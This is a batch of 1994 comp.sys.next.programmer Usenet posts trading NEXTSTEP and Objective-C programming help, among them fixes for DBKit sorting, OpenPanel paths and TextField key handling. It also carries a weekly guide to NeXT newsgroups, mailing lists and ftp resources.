Newsgroups: comp.sys.next.programmer From: andrew@stone.com (Andrew Stone) Subject: Re: How do I load my PS wrap definitions on the printer? Message-ID: <1994Feb6.223246.424@stone.com> Sender: andrew@stone.com Organization: Stone Design Corp References: <2iuf97$kg0@cmcl2.NYU.EDU> Date: Sun, 6 Feb 1994 22:32:46 GMT In article <2iuf97$kg0@cmcl2.NYU.EDU> dario@voluptas (Dario Ringach) writes: > > I have View subclass where some drawing is done with help of PS wraps > definitions initialized by initFrame:. If I try to print on a printer > by sending a printPSCode message to the View subclass the printer will > not recognize the definitions in the display postscript server, of > course, causing an error... Is there a simple way to send the PS > procedures I define in the initalization to the printer as well? > > Thanks in advance! > -- > Dario The printing machinery gives you hooks right where you need them: dump your custom defs in: - beginSetup { [super beginSetup]; // output the NeXT procs PSDumpMyCustomDefs() // dump your's here return self; } andrew PS: your newsreader is dumping an incomplete address: dario@voluptas -- ||<<->>||<<==>>||<<++>>||<<?>|<+>>||<<-->>||<<==>>||<<+>>|| !! Andrew Stone | (505) 345-4800 !! !! andrew@stone.com | Stone Design Corp !! ||<<->>||<<==>>||<<++>>||<<?>|<+>>||<<-->>||<<==>>||<<+>>||
From: sanguish@digifix.com Newsgroups: comp.sys.next.announce,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.advocacy,comp.sys.next.software,comp.sys.next.bugs,comp.sys.next.programmer,comp.sys.next.marketplace Subject: Quick Guide to NEXTSTEP information on the Internet Date: 6 Feb 1994 23:40:06 -0500 Organization: Next Announcements Message-ID: <2j4gn6$909@digifix.digifix.com> This post is made weekly, to help 'point' users to more NEXTSTEP information Topics include: comp.sys.next newsgroups related newsgroups comp.sys.next newsgroups mailing list ftp sites NeXTanswers comp.sys.next.* newsgroups -------------------------- Comp.Sys.Next.Advocacy This is the "why NEXTSTEP is better (or worse) than anything else in the known universe" forum. It was created specifically to divert lengthy flame wars from .misc. Comp.Sys.Next.Announce Announcements of general interest to the NeXT community (new products, FTP submissions, user group meetings, commercial announcements etc.) The NEXTSTEP FAQs are posted here monthly as well. This is a moderated newsgroup, meaning that you can't post to it directly. Submissions should be e-mailed to next-announce@digifix.com where the moderator (Scott Anguish) will screen them for suitability. Comp.Sys.Next.Bugs A place to report verifiable bugs in NeXT-supplied software. Material e-mailed to Bug_NeXT@NeXT.COM is not published, so this is a place for the net community find out about problems when they're discovered. This newsgroup has a very poor signal/noise ratio--all too often bozos post stuff here that really belongs someplace else. It rarely makes sense to crosspost between this and other c.s.n.* newsgroups, but individual reports may be germane to certain non-NeXT- specific groups as well. Comp.Sys.Next.Hardware Discussions about NeXT-label hardware and compatible peripherals, and non-NeXT-produced hardware (e.g. Intel) that is compatible with NEXTSTEP. In most cases, questions about Intel hardware are better asked in comp.sys.ibm.pc.hardware. Questions about SCSI devices belong in comp.periphs.scsi. This isn't the place to buy or sell used NeXTs--that's what .marketplace is for. Comp.Sys.Next.Marketplace NeXT stuff for sale/wanted. Material posted here must not be crossposted to any other c.s.n.* newsgroup, but may be crossposted to misc.forsale.computers.workstation or appropriate regional newsgroups. Comp.Sys.Next.Misc For stuff that doesn't fit anywhere else. Anything you post here by definition doesn't belong anywhere else in c.s.n.*--i.e. no crossposting!!! Comp.Sys.Next.Programmer Questions and discussions of interest to NEXTSTEP programmers. This is primarily a forum for advanced technical material. The NEXTSTEP programmer FAQs are posted here. Generic UNIX questions belong elsewhere (comp.unix.questions), although specific questions about NeXT's implementation or porting issues are appropriate here. Note that there are several other more "horizontal" newsgroups (comp.lang.objective-c, comp.lang.postscript, comp.os.mach, comp.protocols.tcp-ip, etc.) that may also be of interest. Comp.Sys.Next.Software This is a place to talk about [third party] software products that run on NEXTSTEP systems. Comp.Sys.Next.Sysadmin Stuff relating to NeXT system administration issues; in rare cases this will spill over into .programmer or .software. related Newsgroups ------------------ Comp.Soft-Sys.Nextstep Like comp.sys.next.software and comp.sys.next.misc combined. Exists because NeXT is a software-only company now, and comp.soft-sys is for discussion of software systems with scope similar to NEXTSTEP. Comp.Lang.Objective-C Technical talk about the Objective-C language. Implemetations discussed include NeXT, Gnu, Stepstone, etc. Comp.Object Technical talk about OOP in general. Lots of C++ discussion, but NeXT and Objective-C get quite a bit of attention. At times gets almost philosophical about objects, but then again OOP allows one to be a programmer/philosopher. (The original Comp.Sys.Next no longer exists--do not attempt to post to it.) Exception to the crossposting restrictions: announcements of usenet RFDs or CFVs, when made by the news.announce.newgroups moderator, may be simultaneously crossposted to all c.s.n.* newsgroups. Getting the Newsgroups without getting News ------------------------------------------- Thanks to Michael Ross at antigone.com, the main NEXTSTEP groups are now available as a mailing list digest as well. next-nextstep-d next-advocacy-d next-announce-d next-bugs-d next-hardware-d next-marketplace-d next-misc-d next-programmer-d next-software-d next-sysadmin-d (For a full description, send mail saying LISTS to <digestif@antigone.com>). The subscription syntax is essentially the same as LISTSERV's. To subscribe, send a message to <digestif@antigone.com> saying: SUB Listname YourName Example: SUB next-hardware-d John Doe The ftp sites ------------- cs.orst.edu: The main site for North American submissions nova.cc.purdue.edu: Lots of older stuff, but very short on disk space ftp.informatik.uni-muenchen.de: In Germany. terra.stack.urc.tue.nl (Dutch NEXTSTEP User Group) and cube.sm.dsi.unimi.it (Italian NEXTSTEP User Group) ftp.next.com: See the below ftp.next.com and NextAnswers@next.com ------------------------------------- From the document 1000_Help from ftp.next.com Welcome to the NeXTanswers information retrieval system! This system allows you to request online technical documents, drivers, and other software, which are then sent to you automatically. You can request documents by fax or Internet electronic mail, or you can transfer them by anonymous ftp. NeXTanswers is an automated retrieval system. Requests sent to it are answered electronically, and are not read or handled by a human being. NeXTanswers does not answer your questions or forward your requests. USING NEXTANSWERS BY E-MAIL To use NeXTanswers by Internet e-mail, send requests to NeXTanswers@next.com. Files are sent as NeXTmail attachments by default; you can request they be sent as ASCII text files instead. To request a file, include that file's ID number in the Subject line or the body of the message. You can request several files in a single message. You can also include commands in the Subject line or the body of the message. These commands affect the way that files you request are sent: ASCII causes the requested files to be sent as ASCII text SPLIT splits large files into 95KB chunks, using the MIME Message/Partial specification These commands return information about the NeXTanswers system: HELP returns this help file INDEX returns the list of all available files INDEX BY DATE returns the list of files, sorted newest to oldest SEARCH keywords lists all files that contain all the keywords you list (ignoring capitalization) For example, a message with the following Subject line requests three files: Subject: 2101 2234 1109 A message with this body requests the same three files be sent as ASCII text files: 2101 2234 1109 ascii This message requests two lists of files, one for each search: Subject: SEARCH Dell SCSI SEARCH NetInfo domain NeXTanswers will reply to the address in your From: line. To use a different address either set your Reply-To: line, or use the NeXTanswers command REPLY-TO <your-address> If you have any problem with the system or suggestions for improvement, please send mail to NeXTanswers-request@NeXT.com. USING NEXTANSWERS BY FAX To use NeXTanswers by fax, call (415) 780-3990 from a touch-tone phone and follow the instructions. You'll be asked for your fax number, a number to identify your fax (like your phone extension or office number), and the ID numbers of the files you want. You can also request a list of available files. When you finish entering the file numbers, end the call and the files will be faxed to you. If you have problems using this fax system, please call Technical Support at 1-800-848-6398. You cannot use the fax system outside the U.S & Canada. USING NEXTANSWERS BY ANONYMOUS FTP To use NeXTanswers by Internet anonymous FTP, connect to FTP.NEXT.COM and read the help file pub/NeXTanswers/README. If you have problems using this, please send mail to NeXTanswers-request@NeXT.com. Written by: Eric P. Scott eps@toaster.SFSU.EDU and Scott Anguish sanguish@digifix.com Additions from: Greg Anderson (Greg_Anderson@afs.com) and Michael Pizolato (Michael_Pizolato@afs.com)
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Changing the selected menucell's appearance in it's action method. Date: 7 Feb 1994 14:56:35 -0000 Organization: me organized? That's a joke! Message-ID: <2j5kr3$t6@steffi.demon.co.uk> Should this be trivial? I wish to change the selected menucell's appearance whilst it's still performing its action method. Normally the Menu class will probably take care of the highlighting and unhighlighting during its mouseDown: event loop. However, I would like to unhighlight a cell before my action has completed I'm currently trying this with no success. r=[[menu itemList] selectedRow]; [[menu itemList] selectCellAt:-1 :-1]; [menu display]; [menu flushWindow]; the selectedRow jazz is a waste of time since Menu's only worry about their Matrix's selectedCell rather than selectedRows. I am find though that at least with menus the selectedCellAt: _is_ effecting the selectedCell instance var. (RE: the Matrix selection post earlier) -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "No, what?" "Nothing" (Charade, 1963) (ASCII for text only messages)
Newsgroups: comp.sys.next.programmer From: rpomeroy@aunext1.amd.com (Ron Pomeroy x(Coop)) Subject: Re: Is Objective - C a dead language ? Message-ID: <CKv2Jo.6Fs@dvorak.amd.com> Sender: news@dvorak.amd.com (Usenet News) Organization: Advanced Micro Devices, Austin TX References: <2j3q7s$efl@rosie.next.com> Date: Mon, 7 Feb 1994 15:47:45 GMT In article <2j3q7s$efl@rosie.next.com> pgraff@graff.next.com (Peter Graffagnino) writes: >>In article <2j2jvt$112@steffi.demon.co.uk> robert@steffi.demon.co.uk (Robert >>Nicholson) writes: >>>davis@ee.rochester.edu wrote in comp.sys.next.programmer [bandwidth conservation in progress...] >> >>Optional soapbox reading: >> >> I'm always amazed that people bother inventing yet more languages or >>abstractions rather than resolve with the problems or incompatibilities with >>their current tools. In other words why doesn't the C++ community solve the >>distribution problem by developing a more dynamic object model and a runtime >>instead of inventing more languages and abstractions? A smaller example of >>this phenomena is the invention of `imake' by the X community to make up for >>problems with `make'. Surely a portable/enhanced version of make would have >>been better. >> >> Prediction: Taligent builds a C++ runtime and submits it to X/Open to become a standard. But, that still won't make C++ any more attractive (too me at least). Objective-C is as far away from Smalltalk as I plan getting ;-) -- Ronald Pomeroy Advanced Micro Devices CAM Applications Group rpomeroy@aunext1.amd.com
From: dreed@orion.it.luc.edu (Dale F. Reed) Newsgroups: comp.sys.next.programmer Subject: Re: OpenPanel: how to set directory? Date: 7 Feb 1994 18:37:15 GMT Organization: Loyola University of Chicago Message-ID: <2j61or$pg4@apollo.it.luc.edu> References: <2j0i53$9dd@apollo.it.luc.edu> Dale F. Reed (dreed@orion.it.luc.edu) wrote: : Howdy all NexTpert programmers: : How do I use the OpenPanel method and set the directory that I want? : I'm using the following, which *doesn't* change the directory to : the "./Sounds" directory as I would like. : - open:sender : { : const char *const types[] = {"snd",NULL}; // Allowed types for OpenPanel : id openPanel; // The open panel : : openPanel = [OpenPanel new]; // Get the OpenPanel : [openPanel allowMultipleFiles:NO]; // Allow multiple files : if ([openPanel runModalForDirectory:"./Sounds" file:NULL types: types] == 0) return self; : ... : It appears that the "runModalForDirectory" is not having an effect. I get the open : panel, but the directory is not changed. Neither does it only display ".snd" files : Any Ideas? : Dale Reed : reed@math.luc.edu : (312) 508-3567 Dan S. Decasper kindly took the time to point out to me that it makes a difference from WHERE the application is being launched, (gdb or not) the net effect being that the ABSOLUTE path name is needed, rather than the relative name ("./Sounds"). He further elaborated by showing how I could get the absolute path name: Try the following: int pthlen, char *path, char tmp[1024]; path = NXArgv[0]; This gives you the launch path. Now we cut of the app name pathlen = strlen(path); while(path[pathlen-1] != '/') { pathlen--; } Now we have the dir from which the app was launched. I don't know where your "sound" dir is but you probably have to set that right. strncpy(tmp,path,pathlen); strcpy(tmp + pathlen,"Sound"); tmp is now the absolute path. Thanks Dan! :-)
From: hsr@cs.Stanford.EDU (Scott Roy) Newsgroups: comp.sys.next.programmer Subject: Intel beta tester wanted Date: 7 Feb 1994 19:24:39 GMT Organization: Stanford University: Computer Science Department Distribution: world Message-ID: <2j64ho$20g@Times.Stanford.EDU> I'm about to release my creation, IconKit, upon the world, and I need a kind soul with NS/I to verify that everything compiles and runs on an Intel system. Anyone that can spare about half an hour of time--I'ld really appreciate it! I've attached a description of IconKit so you can see what a wonderful service you'll be performing for the NeXT community. --- Scott Roy Department of Computer Science Stanford University --------------------------------------------------------------------- IconKit --a toolbox for drag-and-drop applications Release 0.1, February 6th, 1994 (C) 1994 by H. Scott Roy IconKit is an Objective-C class library for adding drag-and-drop capabilities to applications. It recreates the shelves, browsers, folders, and suitcases that are present throughout the basic NEXTSTEP tools: The file browser and shelf in Workspace. The bookshelf in Librarian. The project browser in ProjectBuilder. The suitcases in InterfaceBuilder. The feature browser used to configure a DBTableView in InterfaceBuilder. IconKit contains all the objects one needs to build new applications in this mold. It is completely integrated with InterfaceBuilder, providing a palette and inspectors for all the IconKit objects. IconKit is being offered under a unique licensing arrangement. It is freely distributable and free for noncommercial uses, but costs money for a commercial license. The General Objectware License is broadly applicable and can be adopted by other developers for their own objectware offerings. IconKit should work on any system running NEXTSTEP 3.0 or later. Parts of IconKit can doubtless be adapted to prior releases of NEXTSTEP, but the drag-and-drop portion is based on protocols that were nonexistent in earlier versions of the operating system.
Message-ID: <t9%@byu.edu> Date: Mon, 7 Feb 94 12:48:23 MST From: yackd@maine.et.byu.edu (Don Yacktman) Newsgroups: comp.sys.next.programmer Distribution: world References: <2j3q7s$efl@rosie.next.com> <CKv2Jo.6Fs@dvorak.amd.com> Organization: Brigham Young University, Provo UT USA Subject: Re: Is Objective - C a dead language ? In article <CKv2Jo.6Fs@dvorak.amd.com>, rpomeroy@aunext1.amd.com (Ron Pomeroy x(Coop)) writes: >In article <2j3q7s$efl@rosie.next.com> pgraff@graff.next.com (Peter >Graffagnino) writes: >>>In article <2j2jvt$112@steffi.demon.co.uk> robert@steffi.demon.co.uk (Robert >>>Nicholson) writes: >>>>davis@ee.rochester.edu wrote in comp.sys.next.programmer > >[bandwidth conservation in progress...] [and some more of the same] >Prediction: Taligent builds a C++ runtime and submits it to X/Open to become a >standard. But, that still won't make C++ any more attractive (too me at least). >Objective-C is as far away from Smalltalk as I plan getting ;-) Of course, rumor has it that they _have_ written a C++ runtime to overcome all the problems in C++ caused by the lack of late (runtime) binding. I find it incredible how few people understand this issue of runtime vs. compile time binding. It is a _major_ difference, and dramatically impacts not only how you write the code but also how easy or difficult it is to write the code! For those who don't understand this issue, I'd be happy to clarify, but others have already done that here, so I'm not going to post a long diatribe on it. I would recommend reading the first few chapters of Cox's book on Objective-C, however, since it gives, IMHO, a very clear--and objective--view on the topic. The actual explanation shows why both types of binding can be useful and leaves me at least with the impression that Objective-C++ as you get it on the NeXT/gcc is truly the way you'd want to go. But that assumes that you understand the difference between early and late binding and then, understanding the issues, you proceed to use the proper tool for each programming task; each approach has it's place. Unfortunately, those who blindly advocate C++, or think of it as a complete OOP solution are missing a big part of the picture because they probably haven't even been exposed to, or considered, this late/early issue...they're missing half the picture and not getting as much out of OOP as they could. On the other hand, any Obj-C advocate who thinks Obj-C is the end all be all is missing a lot, too. Re-read the Cox book...it even says that Obj-C is merely an evolution one step farther than C++, but not as far as we will likely see in the future! Everytime this debate comes up it is silly. The answer is always simple: ObjC has features I would never want to give up, they are that important. C++ has features that ObjC lacks that are nice even if the syntax is messy. So use ObjC++ and get both, and be happy. Use the right tool for the job at hand... -- Don_Yacktman@byu.edu Nepotism is a relative thing. don@darth.byu.edu (My NeXT at home. Send me NeXTMail. Pleeeease.)
From: ranilla@polar.etsiig.uniovi.es (Ranilla Pastor) Newsgroups: comp.sys.next.programmer Subject: problems with HSD SCAN-X Color Message-ID: <1994Feb7.203710.1394@polar> Date: 7 Feb 94 20:37:10 +0100 Organization: Universidad de Oviedo About one and a half year ago I bought a HSD SCAN-X Color for my 68040 NeXT Cube. Currently I am transfering my work to a Intel 486 based running MICROSOFT WINDOWS 3.1 environment, because my Next Cube lost the login window and now I can't use it. Therefore, I would like to use the scan on the 486 Pc. Unfortunately I haven't the drivers software for the 486 Pc and I can't use the scanner. Does someone know about drivers software for the HSD SCAN-X Color on the Intel 486? or Does soemone know about the technical details of the scanner (instruction code, class, ADF, etc), or how to get these informations? Thanks in advance, Ranilla PD: Best way to reply to me is email PD: Excuse my (non-existent :-) english and my poor dictionary. -------------------------------------------------------------------------------- Jose Ranilla Pastor Phone: +34 9 5182129 Area de Ciencias de la Computacion e I.A. Fax: +34 9 5338538 E.T.S.I.I de Gijon EMail: ranilla@polar.etsiig.uniovi.es Campus de Viesques s/n Gijon \,,,/ Spain (o o) ----------------------------------------------------oOO--(_)--OOo---------------
Newsgroups: comp.sys.next.programmer From: epaulson@anne (Eric Paulson) Subject: Re: Sending Messages between Objects Message-ID: <1994Feb4.233739.9559@bozell.com> Sender: news@bozell.com Organization: Bozell, Jacobs, Kenyon & Eckhardt, Inc. References: <1994Feb2.140323.20579@ifi.unizh.ch> Date: Fri, 4 Feb 1994 23:37:39 GMT In article <1994Feb2.140323.20579@ifi.unizh.ch> reinhard@avalon.unizh.ch (Peter Reinhardt) writes: > I am writing an application in Objective-C with Interface > Builder and I have following problem: > > In my application I have a main-nib File with an Object > (Controller). I have now several other nib-Files with > other Objects in it (e.g. Object A B and C). > It is simple to get for the main object the references for > A B and C. And within the Objects A B and C it is simple to > refer to the Controller-Object (via the File Owners Icon). > The way I handle this is as follows: In your main nib you need an instance of objects A, B & C Then connect the outlets you need between A,B, & C and any other objects in the main nib. Then in the nib file for object A the file owner should be of type objectA. make any connections between the file owner and object in Objects A's nib. Then when any messages are sent to object A, Object A needs to see if Object A's nib file has been loaded if not load the nib file. #import "ObjectA.h" @implementation ObjectA - someMessage:sender { if (objectA == nil){ objectA = [NXApp loadNibSection:"objectA.nib" owner:self]; } @end This paradigm is easier to show someone with IB then to explain in a text message. --- Eric J. Paulson | epaulson@omaha.bozell.com Senior Programmer/Analyst | +1 402 978 4106 vox Bozell, Jacobs, Kenyon & Eckhardt, Inc. | +1 402 978 4118 fax Advertising and Public Relations | Whatever it Takes
Newsgroups: comp.sys.next.programmer From: chuck@benatong.com (Charles G. Bennett) Subject: Re: Serial I/O takes up mucho processor time. Message-ID: <CKv3Ev.G6D@benatong.com> Sender: usenet@benatong.com Organization: BenaTong References: <1994Feb4.172916.1355@mrk.com> Distribution: usa Date: Mon, 7 Feb 1994 16:06:31 GMT In article <1994Feb4.172916.1355@mrk.com> jerald@mrk.com (Jerald Dawson) writes: > Hi there, [munched] > I don't understand why reading the serial port is that much of a drag on > performance. The Motherboard in this machine is a micronics motherboard > with the serialports built into the motherboard. BTW, this app does the > same thing if I run it on my Turbo Color or on any other machine I have > (from a 33 Mhz 486 to a 60 Mhz Pentium). It always wants to take about 90% > of the processor. If anyone can give me clue I'd apreciate it. > > thanx > -- > jerald dawson*Systems Manager / Head Programmer*Investor's Advantage > NeXTmail-jerald@mrk.com |"To compel a man to furnish contributions of money > phone -(708) 487-3221 | for the propogation of opinions which he disbelieves This is not normal. One thing to look out for is reading bytes from the port 1 at a time. The underlying system overhead is very expensive. BTW: Tech support for our software is free. If you have a question about the operation of one of our objects, we would be more that happy to help you out. You can contact us at 614.276.7859 from 9 till wee_hours EST or simply email to info@benatong.com. If you can include a code snippett, so much the better. Thanks Chuck
From: joe@retina.anatomy.upenn.edu (Joe Panico) Newsgroups: comp.sys.next.programmer Subject: DBKit wont sort fetches for me Date: 8 Feb 1994 02:33:39 GMT Organization: Dept. of Neuroscience, U. of Pennsylvania Distribution: world Message-ID: <2j6tm3$kpb@netnews.upenn.edu> Hi, I'm having problems getting the DBKit to sort the results of record fetches. The code fragment looks like this: id fetchGroup; id orders; // this is a recordList id order_ent; // this is an Entitie id invoice_prop; // this is a property id ordersModule; /* assume I got the right fetch Group (I cchecked this) */ . ... order_ent = [fetchGroup entity]; invoice_prop = [order_ent propertyNamed: "invoice"]; orders = [fetchGroup recordList]; [orders addRetrieveOrder: DB_AscendingOrder for:invoice_prop]; [ordersModule fetchAllRecords: self]; /* ... */ CAn anyone tell me what I'm doing wrong. Is there an online source of information that could help me? Thanks in advance. Joe Panico joe@retina.anatomy.upenn.edu
From: bjk@edsr.eds.com (Brian Kodl) Newsgroups: comp.sys.next.programmer,comp.sys.next.misc,comp.sys.next Subject: Mathematica ftp site? Keywords: Mathematica ftp Message-ID: <1699@apollo.edsr.eds.com> Date: 7 Feb 94 18:47:48 GMT Organization: EDS Research, Dallas, TX 75230 Could someone please tell me what happened to the Mathematica ftp site that used to be at mathsource.wri.com? When I tried to log in as anonymous, nothing was visible. Thanks (in advance) for any help, Brian Kodl
Newsgroups: comp.sys.next.programmer From: siuki@cs.mun.ca (Siu-Ki Leung) Subject: Any Set Class for Objective-C? Message-ID: <1994Feb6.044106.2809@cs.mun.ca> Keywords: Objective-c, set class Sender: usenet@cs.mun.ca (NNTP server account) Organization: CS Dept., Memorial University of Newfoundland Date: Sun, 6 Feb 1994 04:41:06 GMT Does anyboby know if a set class is available for objective-C? Please reply to: siuki@cs.mun.ca Thanks.
From: Victor Solakhian <victor@gomidas.mi.org> Newsgroups: comp.sys.next.programmer Subject: Interpreting Escape key in TextField. Date: 8 Feb 1994 03:53:53 GMT Organization: University of Michigan EECS Dept. Distribution: world Message-ID: <2j72ch$kh1@zip.eecs.umich.edu> I need to trap the Escape key in TextFields. The documentation to [TextField textDidEnd:endChar:] says: > You may want to override this method to interpret more characters > (such as the Enter or Escape keys) in ending editing. In the Text object documentation, one finds the following: > You might want to write your own character filter function. For > example, Text.h defines four other constants that cause a Text > object to attempt to resign first responder status: > > NX_LEFT > NX_RIGHT > NX_UP > NX_DOWN > > By writing a character filter function that remaps certain Control > sequences to these constants (such as Control-H, or 0x08, to NX_UP), > you could provide alternate movement commands. Alternatively, with > the help of the Text object's delegate, the new character filter > could call a help system whenever the user entered such a Control > sequence. It seems that it should be very easy to trap for the Escape key, but it does not work. I used a character filter function: #define ESC 0x1B ...... unsigned short myFieldFilter(unsigned short theChar, int flags, unsigned short charSet) { if (theChar == ESC) { return NX_UP; } return (NXFieldFilter(theChar, flags, charSet)); } and overrode the textDidEnd:endChar: method. But NX_UP (as well as NX_LEFT, NX_RIGHT and NX_DOWN) does not lead to invoking either of the delegate methods textDidEnd:endChar: or textWillEnd:! Only when the Text object receives NX_RETURN, NX_TAB, and NX_BACKTAB characters, does it attempt to end its status as first responder. So I think I am forced to use: unsigned short myFieldFilter(unsigned short theChar, int flags, unsigned short charSet) { ESCWasPressed = NO; if (theChar == ESC) { ESCWasPressed = YES; return NX_BACKTAB; } return (NXFieldFilter(theChar, flags, charSet)); } This code solves the problem, but now I can not have a "previous" text field. Does anyone have any ideas on why NX_LEFT, NX_RIGHT, NX_UP, NX_DOWN constants do not work as promised in the documentation? Other suggestions of how to trap the Escape key are also appreciated. Thanks in advance, --------------------------------------------------------------- Victor Solakhian Internet: victor@gomidas.mi.org Gomidas Institute UUCP: uunet!gomidas!victor 1697 Broadway, Suite 104 Phone: +1 313 761 9590 Ann Arbor, MI 48105-1865 Fax: +1 313 761 9890 ---------------------------------------------------------------
From: blanford@spf.trw.com (Ronald P. Blanford) Newsgroups: comp.sys.next.programmer Subject: Re: DBKit wont sort fetches for me Date: 8 Feb 1994 05:36:12 GMT Organization: TRW Systems Development Division Distribution: world Message-ID: <2j78cc$23p@deneva.sdd.trw.com> References: <2j6tm3$kpb@netnews.upenn.edu> Joe Panico writes > I'm having problems getting the DBKit to sort the results of > record fetches. The code fragment looks like this: > (fragment deleted) The retrieve order specification gets reset automatically at the beginning of every fetch. Try giving it in the fetchGroup delegate's fetchGroupWillFetch method. /* Your code fragment */ ... [fetchGroup setDelegate:self]; [ordersModule fetchAllRecords: self]; ... - fetchGroupWillFetch:aFetchGroup; { [[aFetchGroup recordList] addRetrieveOrder:DB_AscendingOrder for:[[aFetchGroup entity] propertyNamed:"invoice"]]; return self; } -- Ron blanford@spf.trw.com
From: richard%runner.uucp@usc.edu (Richard Ruth) Newsgroups: comp.sys.next.programmer Subject: Re: Sybase Administrator buggy under 3.x, Solution included. Date: 7 Feb 1994 18:10:12 -0800 Organization: runner Sender: richard@runner.uucp@usc.edu Distribution: world Message-ID: <2j6sa4$766@runner.uucp> References: <1994Feb6.120754.878@gamelan.uucp> Thomas Funke writes ... > Nevertheless, some hacking shows: There is a workaround available ! > > Get the 'binpatch' program and apply the following patch to the > binary '/usr/sybase/Administrator' > ... Anyone else try this? and, where do you get 'binpatch' for NeXT hardware? Thanks -- Richard richard%runner.uucp@usc.edu (ok to send NeXT Mail)
From: philipp@res.enst.fr (Philippe-Andre Prindeville) Newsgroups: comp.sys.next.programmer,comp.sys.next.bugs Subject: NS/fip and SCSI "synchronous" transfers Date: 7 Feb 1994 17:42:54 GMT Organization: Ecole Nationale Superieure des Telecommunications, Paris FRANCE Distribution: world Message-ID: <2j5uiu$3l1@enst.enst.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit I recently picked up a copy of Oliver Unter Ecker's DriverPerformance.app from ORST and tried it on my machine, wondering if I would really see as good numbers as the data sheet for my Maxtor MXT540S drive announced (it is supposedly capable of several MB/s transfers). Well, the transfer rates I saw were 600KB/s to 850KB/s -- far short of what I was expecting. Then I remembered something about Synchronous transfers not being supported by NeXT drivers (I have an Adaptec 1542CF which is supposedly supported). Curious, I thought. Why did NeXT ignore synchronous transfers? Granted that my disk controller is ISA (and not VL or EISA), I should still be getting better performance that what I'm seeing. Is it because of the PC's slow DMA (I'm using a 16bit channel)? Is it because the transfers are asynchronous? Or is it the Mach (BSD) filesystem that just isn't fast? -Philip
Newsgroups: comp.sys.next.programmer From: Robert La Ferla <Robert_La_Ferla@hot.com> Subject: Re: NeXT PS problems (I need a simple fix) Message-ID: <1994Feb8.004831.12991@hot.com> Sender: robertl@hot.com Organization: Hot Technologies References: <2ir8s5$t7t@alf.uib.no> Date: Tue, 8 Feb 1994 00:48:31 GMT Sounds like you're not properly using the DSC (document structuring conventions) This could mean that you're missing a proper header, a bounding box or even the showpage operator. If your report generator is going to be a commercial product, I recommend reading the PostScript Reference Manual "the red book" to make sure your documents conform to the Adobe DSC. Robert La Ferla Hot Technologies NEXTSTEP ISV and Consulting In article <2ir8s5$t7t@alf.uib.no> edmtl@alf.uib.no (Thor Legvold) writes: > I have a simple problem which I have not been able to solve, > and hope soneone familiar with NeXT (or "official" Adobe) > PostScript will be able to help out... > > I have a report generator that creates PS reports from btree > data, but on the NeXT it won't preview or print - I get > blank pages. Yap shows the output. I tried prepending a > small PS hack I got from the archives that traces errors in > PS - it didn't report any errors but did allow me to make > a printout of the file, but it wan't pretty. > > Anyone have a few minutes to look at the PS file and tell me > what is wrong, or the PS source/header used in building the > report and output file (which won't print) and what is wrong? > > Regards, > -- > Thor Legvold | This is the strangest life > NorNeXT User Group leader | I've ever known... > University of Bergen | - Jim Morrison, The Doors > Norway | edmtl@fiol.uib.no (NeXTmail)
Newsgroups: comp.sys.next.programmer From: Robert La Ferla <Robert_La_Ferla@hot.com> Subject: Re: problem with -posix Message-ID: <1994Feb8.005037.13053@hot.com> Sender: robertl@hot.com Organization: Hot Technologies References: <JEFFREYH.94Feb6164131@frodo.scalable.com> Date: Tue, 8 Feb 1994 00:50:37 GMT Try -lsys_s. Robert La Ferla Hot Technologies NEXTSTEP ISV and Consulting In article <JEFFREYH.94Feb6164131@frodo.scalable.com> jeffreyh@scalable.com (Jeffrey Heller) writes: > > In linking an application that is using the -posix cc option I am > having the following link problems. It looks like libposix.a needs > symbols from somewhere, but I can not seem to figure out where. Anyone > have an idea where to get the missing symbols? > > -Jeff > > > /usr/lib/libposix.a(strftime.o) reference to undefined _objc_msgSend > /usr/lib/libposix.a(strftime.o) reference to undefined _NXGetDefaultValue > /usr/lib/libposix.a(strftime.o) reference to undefined _NXRegisterDefaults > /usr/lib/libposix.a(strftime.o) reference to undefined .objc_class_name_NXStringTable > /usr/lib/libposix.a(strftime.o) reference to undefined .objc_class_name_NXBundle > /usr/lib/libposix.a(localeconv.o) reference to undefined _NXRegisterDefaults > ld: Undefined symbols: > _objc_msgSend > _NXGetDefaultValue > _NXRegisterDefaults > .objc_class_name_NXStringTable > .objc_class_name_NXBundle > -- > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= -=-=-=-=-= > =- Jeffrey Heller -= > =- Scalable Technologies, Inc. -= > =- 1975 West El Camino Real, Suite 102, Mountain Vaiw, Ca 94040 -= > =- Phone: (415) 965-5873 Email: jeffreyh@scalable.com -= > -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- =-=-=-=--=
Newsgroups: comp.sys.next.programmer From: Robert La Ferla <Robert_La_Ferla@hot.com> Subject: Re: reversing color of NXiBeam cursor Message-ID: <1994Feb8.010100.13136@hot.com> Sender: robertl@hot.com Organization: Hot Technologies References: <1994Feb5.043209.16691@Princeton.EDU> Date: Tue, 8 Feb 1994 01:01:00 GMT Look at the reference manuals for NXCursor and NXImage. You'll need to create your own white cursor and replace the current one when the cursor enters the text window. The standard NEXTSTEP cursors (Arrow and I-beam) are grouped in this file: /usr/lib/NextStep/Resources/SharedGrayAlpha.tiff You'll need to grab it out of the TIFF and edit/whiten it using IconBuilder.app. Robert La Ferla Hot Technologies NEXTSTEP ISV and Consulting In article <1994Feb5.043209.16691@Princeton.EDU> paul@phoenix.Princeton.EDU (Paul Lansky) writes: > I have an application in which I want a text to have > a black background and a white text. This is easy to > do with setBackgroundGray and setTextGray. But the > cursor remains black, which is something of a problem. > How do I make the cursor in the text window white? > > thanks > > paul lansky > paul@princeton.edu >
Newsgroups: comp.sys.next.programmer From: iw@canon.co.uk (Ian Wilkinson) Subject: Location of wait cursor image? Message-ID: <1994Feb8.121342.9067@canon.co.uk> Organization: Canon Research Centre Europe Ltd Date: Tue, 8 Feb 94 12:13:42 GMT I imagined the wait cursor image would be found in /usr/lib/NextStep/Resources. No luck; well, not strictly true, a single wait cursor can be found in SharedColor.tiff. However, I was expecting something similar to SpinDisk in BuildDisk, or PiePieces from Grab. Ideas? ian
